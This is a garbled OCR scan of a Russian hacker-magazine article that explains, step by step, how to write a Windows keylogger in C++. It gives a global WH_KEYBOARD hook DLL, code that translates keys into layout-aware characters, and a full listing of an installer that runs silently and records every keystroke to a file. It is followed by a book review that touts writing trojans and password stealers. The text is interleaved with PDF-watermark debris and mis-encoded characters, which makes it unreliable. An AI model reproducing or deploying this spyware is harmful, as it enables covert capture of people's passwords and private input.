Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
17
Добавлен:
20.04.2024
Размер:
13.49 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

to

 

NOW!

 

 

 

Кодинг

 

 

 

 

 

 

 

 

w

 

 

 

to

 

NOW!

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

Клавиатурная

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

m

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

íà

C++

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

КЛАВИАТУРНАЯ СНИФАЛКА НА C++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Николай "GorluM" Андреев (gorlum@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

снифалка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

За английским словом keylogger (key -

клавиша, log - вносить в журнал)

скрывается не что иное,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Она логирует все

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Так можно назвать, например, программу

hookdump

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êàê

 

клавиатурный

шпион

имена открытых окон. В общем,

приносит людям немало пользы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нажатия клавиатуры, фиксирует

 

 

 

немного

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ты напишешь сам. Конечно, она будет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

:). А теперь представь, что такую же утилиту

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

попроще, но висеть в памяти и записывать

все нажатия клавиш в файл она сможет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Николай "GorluM" Андреев (gorlum@real

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, загружай свою visual studio, она

нам понадобится для создания двух модулей

 

 

 

и будешь запускать.

 

.

Первый модуль - сам ехе'шник, его ты

(проектов) программы

 

 

. Второй, самый интересный

äëÿ íàñ -

Ýòî Win32 Project, òèï

 

 

-

- Windows Application

 

 

 

динамически

подсоединяемая библиотека или, проще говоря - DLL.

Она нам потре

 

 

 

внедриться в

систему и перехватывать

все нажатия клавиш

буется для того, чтобы

 

 

 

 

 

 

. Этот проект будет та-

для последующей их обработки, к примеру,

записи в файл

 

 

 

кой же, как и exe, только с другим типом

- DLL.

 

 

 

 

 

 

 

 

Ловушки

 

 

 

 

 

 

 

 

 

 

 

событий в Windows

существу-

Для перехвата любых системных и пользовательских

 

 

 

 

 

-

ет очень интересный

механизм. Механизм хуков (hook) или, попросту

говоря, лову

 

 

 

образом. Некоторый

процесс запускает функцию ус-

шек. Работает он следующим

ее параметрах:

 

 

 

 

 

 

 

и указывает в

 

 

 

 

тановки ловушки SetWindowsHookEx

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

à)

тип устанавливаемой

ловушки (см. таблицу);

срабатывания ловушки (такую про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

б) адрес функции, которая будет обрабатывать

 

 

 

 

 

 

 

 

цедуру мы напишем чуть ниже);

 

 

содержится

эта функция (в данном

случае

с) дескриптор модуля, в котором

 

 

 

 

 

 

 

 

 

 

 

 

дескриптор DLL).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Затем система берет модуль, содержащий

функцию обработки ловушки, и подгру-

 

 

 

 

 

 

. Установив

æàåò åãî êî âñåì

доступным процессам в зависимости

от прав доступа

 

-

некоторые флаги

ó

процесса,

система заставляет

его запускать функцию обработ

 

хука. Наша с тобой задача - написать

функцию об-

ки всякий раз при срабатывании

 

 

 

 

 

 

модуль

(подгружается системой), и прог-

работки, которая

запихнет ее в отдельный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

рамму, устанавливающую

саму ловушку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Основные типы WH_KEYBOARD

WH_MOUSE

WH_GETMESSAGE

WH_CBT

ловушек

 

 

 

 

. Обрабатывает любые события

 

 

 

 

 

рассматриваемая сегодня ловушка

 

 

 

 

.

 

 

 

 

 

 

 

 

 

клавиатуры

 

 

 

 

 

помощью можно получить

перехватывает все события мыши. С ее

 

 

мыши), состояние

текущее положение курсора (вести лог движения

 

 

кнопок или дескриптор

окна, на котором находится курсор.

 

 

хук. Он позволяет перехватить и

наверное, самый универсальный

.

Его можно использовать в

обработать

 

 

 

 

любое оконное сообщение

 

 

из-за слишком

 

-логгера, но не рекомендуется

качестве кей/маус

запусков процедуры хука.

 

 

 

большого количества

обрабатывать

очень полезная системная ловушка. Позволяет

 

 

 

события, срабатывающие

при активации, создании, уничтожении

 

 

 

 

 

при удалении

или смене

размера окна; при смене фокуса ввода,

 

 

 

 

.

 

 

 

 

 

 

сообщений из очереди

 

 

 

 

 

 

Пишем хук

 

 

 

-

 

 

 

 

 

Начнем мы с самого сложного - с написания модуля, содержащего

функцию обра

 

.

ботки. А обрабатывать

нам надо событие, возникающее при нажатии

на клавишу

 

.

.microsoft.com èëè çàã-

 

 

Если зайти на сайт msdn

 

 

Событие ловушки - WH_KEYBOARD

описание этой процедуры:

 

 

лянуть на диск MSDN, можно найти

 

 

 

 

 

Вот так может выглядеть

хорошо оформленный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LRESULT CALLBACK KeyboardProc(

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int code,

// hook code

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WPARAM wParam,

// virtual-key code

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-message information

 

 

 

 

 

 

 

 

LPARAM lParam

 

 

 

 

 

 

 

 

 

 

 

 

 

// keystroke

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

То есть наша функция должна принимать

три параметра,

описанных

òàê æå,

 

 

 

 

 

 

экспортируемой

-

как в документации мелкомягких

.

Плюс надо сделать ее

 

 

 

 

модуль. В

итоге получилось вот что:

 

она будет запихиваться в отдельный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

__declspec(dllexport)

LRESULT CALLBACK KeyboardProc(int

 

code,

 

 

 

WPARAM wParam, LPARAM lParam);

 

 

 

 

 

 

 

 

 

 

 

 

 

При срабатывании

события в эту функцию передаются

некоторые парамет-

 

 

ëèáî HC_NORE-

содержаться либо значение

HC_ACTION,

ры. В code будет

 

именно на-

 

 

 

только

первое. Мы ведь обрабатываем

MOVE, но нас интересует

 

 

 

 

 

 

 

 

 

 

 

нажата ли клавиша,

можно при помощи

жатия клавиш. Кстати, определить,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вот такого выражения:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(!(HIWORD(lParam)

& KF_DOWN))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Îíî

будет истинно, если клавиша

нажата, и ложно, если клавиша отпуще-

 

 

 

 

 

 

 

 

ïî äâà

раза (для нажатия и

Òàê

как нам не надо писать каждую клавишу

íà.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поставим условие, чтобы запись про-

отпускания), то при запуске функции

 

 

 

 

 

 

 

 

 

 

 

 

 

 

изводилась только при нажатии:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(code == HC_ACTION)&&(!(HIWORD(lParam)

& KF_UP))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если параметры удовлетворяют

условию, то можно приступить к обработке

êîäà íà-

 

 

 

 

 

 

 

 

 

 

в параметре wParam в виде значения

жатой

клавиши, который будет содержаться

 

 

 

 

 

 

 

 

 

 

 

-

òèïà char. Êàê òû

понимаешь, можно сразу записать это значение в лог

è áåç îáðà

 

 

 

 

 

 

 

 

 

 

 

была ли это русская

буква или латинская, и

ботки, но тогда мы никогда не узнаем,

 

 

 

 

 

. Ìû

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Нет, так дело не пойдет

 

вместо

нажатых ctrl и alt мы увидим просто

квадратики

 

и название клавиши и,

грамотно обработаем полученную

клавишу и запишем в лог

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

70

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

åñëè áûë

 

 

 

 

включен русский язык, букву в кириллице.

 

 

А сделаем это следующим

 

 

 

 

образом. Когда условия параметров нас

удовлетворя-

ют, создадим блок switch, в котором

 

темными

клавишами. Если клавиша

проверим значение wParam на сходство с сис-

 

 

не системная, значит это буква.

 

switch ((char)wParam){

 

 

 

 

case VK_ESCAPE:

 

 

 

 

strcpy(buffer,"<ESC>");

 

 

 

break;

 

 

 

 

case VK_RETURN:

 

 

 

 

strcpy(buffer,"<RETURN>\r\n");

 

}

 

break;

 

 

 

 

 

 

buffer - строковая переменная. В

íåå

записываются данные, которые впоследствии

будут

 

 

 

 

 

 

 

 

 

 

занесены в лог. По аналогии с примером описываются все

возможные зна-

чения wParam для ctrl, alt, tab и

 

 

 

 

 

 

 

 

 

Далее, если

 

 

 

т.п. Все они определены в файле winuser.h.

 

 

 

 

подпадает ни под одно из

 

 

 

 

 

 

 

значение wParam не

описанных выше, зна-

чит, это буква, и данное

условие

 

 

 

 

 

 

 

 

 

 

 

требует отдельного рассмотрения. Так как мы не

знаем, какой был включен языковой режим,

соответственно, и не сможем опреде-

ëèòü, ÷òî æå

записывать в файл.

 

 

 

 

обходимого

Для определения текущей

раскладки и записи не-

символа

 

 

 

 

 

 

 

 

 

 

 

 

 

относительно этой раскладки мы воспользуемся двумя функ-

циями. Первая - GetKeyboardState получает

массив из 256 элементов со всеми ста-

тусами

 

 

 

 

 

 

 

 

кущей

 

виртуальных клавиш. Вторая, ToAscii, занимается тем, что

относительно те-

раскладки, полученной при

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

помощи первой функции, вычисляет, какой сим-

вол должен соответствовать нажатой

 

 

 

 

 

ýòîò

символ в первый

 

 

 

 

 

 

 

 

клавише, и записывает

элемент нашей переменной. Вот так выглядит код:

 

 

 

 

 

 

default:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BYTE keyarray[256]

;

 

 

 

 

 

 

 

 

 

 

 

if(GetKeyboardState(keyarray))

 

 

 

 

 

 

i f ( ! T o A s c i i ( w P a r a m , ( H I

 

( l P a r a m ) & ( 0 x 0

0 0 0 F F F F ) ) ,

 

 

 

 

 

 

 

 

W O R D

keyarray,(WORD*)&buffer[0],NULL))

 

 

 

 

 

 

 

 

 

 

break;

 

 

 

 

buffer[0]='\0';

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь осталось только открыть файл

на запись, поставить с помощью функции

SetFilePointer курсор в конец и

 

 

 

 

 

 

 

 

добавить наш буфер. Причем открывать его надо с

параметром FILE_SHARE_WRITE, иначе две программы

не смогут одновременно ра-

ботать с

 

одним файлом. Системе это не понравится.

 

 

 

 

 

 

 

 

Завершив обработку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

полученного события, надо отправить его (событие)

дальше

по цепочке хуков. Делается это с

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

помощью функции CallNextHookEx, в которой ука-

зываются все полученные в начале параметры.

 

 

 

 

 

 

Описываю клавиши

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Пишем

установщик

õóêà

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

w

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

m

После

написания

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

модуля

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

 

 

 

обработки

добавим

 

ê

 

проекту DLL файл

 

 

 

 

 

p

df

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

котором будет содержаться имя

 

 

 

 

 

exports.def,

â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

экспортируемой функции в следующем

формате:

 

 

 

 

 

 

LIBRARY spy

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

EXPORTS

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

KeyboardProc

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Компилируем это.

Теперь все ОК.

Осталось написать программу, устанавливающую

 

 

 

 

 

 

íàøó

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ловушку. Для этого берем обычный шаблон

приложения (см. приложение)

è

 

 

 

 

 

 

начинаем в нем писать.

Первое, что должна

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сделать программа -

подгрузить к себе

 

 

 

 

 

 

только что созданную DLL-ловушку.

Делается это с помощью

 

 

 

 

 

 

 

 

Единственное, что

ей необходимо

 

функции LoadLibrary.

 

 

 

 

 

 

передать - имя

подгружаемой библиотеки. Затем

 

 

 

 

 

 

программа

должна найти адрес в

 

 

 

 

 

 

 

 

 

 

 

 

 

передаем

 

памяти процедуры нашей

ловушки. Для этого мы

 

 

 

 

 

 

 

WinAPI

 

функции

 

GetProcAddress

адрес

 

 

 

 

 

 

 

которое

 

вернула

 

 

 

 

 

подгруженной

DLL

(значение,

 

 

 

 

 

 

 

 

LoadLibrary)

è

название

 

обработчика,

 

â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данном случае

 

 

 

 

 

 

KeyboardProc. Теперь осталось только установить

ловушку и

заснуть на

некоторое

 

 

 

 

 

 

время.

Ловушка

будет

 

работать до

 

òåõ

ïîð,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пока не вызовется

 

функция

 

 

 

 

 

 

UnhookWindowsHookEx, èëè íå

уничтожится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

процесс, установивший ловушку. Ведь

 

 

 

 

 

 

когда процесс вырубается, все его библиотеки

выгружаются, в том числе и DLL с

 

 

 

 

 

 

нашей ловушкой.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Break

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ê

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сожалению, возможности рубрики "Кодинг"

позволяют мне

описать эту технику

 

 

 

 

 

 

 

более

подробно, но

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñâîé

 

вышеизложенного материала

хватит на то, чтобы начать писать

 

 

 

 

 

 

 

 

уникальный

логгер

 

ñ

множеством

 

 

 

 

 

 

 

 

 

 

 

 

 

полезных

функций.

Например, можно

 

 

 

 

 

 

 

добавить

â

логгер

фичу по записи

времени,

имени

 

 

 

 

 

 

 

 

 

 

 

 

 

процесса или окна, в

котором

 

 

 

 

 

 

 

была введена

буква. Можешь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

попробовать написать

ловушку на

ìûøü. Â

общем,

 

 

 

 

 

 

 

здесь есть, что придумать.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

иной функции

 

 

 

 

 

Если будет интересно узнать про реализацию

òîé

 

èëè

 

 

 

 

 

 

 

в кейлоггере

-

ïèøè. Êàê

обычно, проект для

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

полный

исходный текст программы

 

 

 

 

Visual Studio .NET,

 

 

 

 

 

 

 

взять

 

 

и уже скомпилированный

exe'øíèê òû

 

можешь

 

 

 

 

 

 

 

на нашем диске или

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

скачать с сайта www.xakep.ru. На этом все.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Удачного компилирования.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Листинг

exe-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

модуля

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#include <windows.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#pragma comment(linker,"/MERGE:.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

rdata=.text")

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#pragma comment(linker,"/SECTION:.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

text,EWRX")

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#pragma comment(linker,"/ENTRY:WinMain")

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int __stdcall

WinMain(HINSTANCE ha,

HINSTANCE, PTSTR, int)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// гружу DLL

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HMODULE dllhook =

LoadLibrary("spy.dll");

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Ищу функцию в DLL

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HOOKPROC hook = (HOOKPROC)GetProcAddress(dllhook,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"KeyboardProc");

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Устанавливаю ловушку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HHOOK hhook = SetWindowsHookEx(WH_

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

KEYBOARD,hook,dllhook,0);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//время работы ловушки

//INFINITE - если хотите, чтобы ловушка работала "долго" Sleep(INFINITE);

//выгружаю DLL

FreeLibrary(dllhook); return 0; }

ЧТО ПОЧИТАТЬ

Название: Программирование на Delphi глазами хакера Автор: Фленов Михаил Евгеньевич

Издательство: BHV (www.bhv.ru)

Автор книги - Horrific. Да-да! Это наш автор. Многим читателям журнала Хакер он запомнился как ведущий рубрики Кодинг и опубликовавший целую серию статей по программированию на Delphi. В книге же разбирается способы написания Х-кода: использование недокументированных функций Windows, а так же принципы написания сетевых программ (сканеры портов, троянские кони), работа с оборудованием и т.д.

Многие главы основываются на опубликованных материалах в самом Хакере. Но не надо думать, что это плохо. Наоборот, все примеры описаны более подробно, вошло множество материала не попавшего на страницы журнала. Соответственно, ты, дорогой читатель, имеешь возможность впитать более качественную информацию. И самое главное, тебе больше не придется копаться в кучах номерах ][ в поисках нужной статьи - теперь все собрано в одной книге. Вот часть тем, вошедших в книгу: "Сжатие исполняемых файлов", "Полный контроль над кнопкой Пуск", "Шутки с мышкой", "Подсматриваем пароли, спрятанные под

звездочками", "Безбашенные окна", "Их разыскивают бойцы 139 порта", "Вытаскиваем из системы пароли", "Чат для локальной сети", "Твоя собственная почтовая мышка", "Персональный FTP сервер", "Самый быстрый сканер портов", "Работа с COM/LPT портом". И это далеко не все!

Если ты собираешься писать приложения на Delphi под Windows, то это книга просто твой справочник. Ты нау- чишься создавать программы-шутки, тем самым повеселить себя и своих друзей. Освоишь грамотные приемы написания сетевых приложений, куда ведь сейчас без интернета? Поймешь как работать с оборудованием, подключаемым к COM/LPT портам. Сможешь, например, при определенной сноровки написать свой модуль по работе с мобильниками. А это уже далеко не простой софт. Вывод из все этого - книга из разряда "must have!". К тому же с ней идет сопроводительный компакт-диск. Так что тебе не придется сидеть с книжкой и вбивать весь код. Все лежит на одной болванке.

71

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 
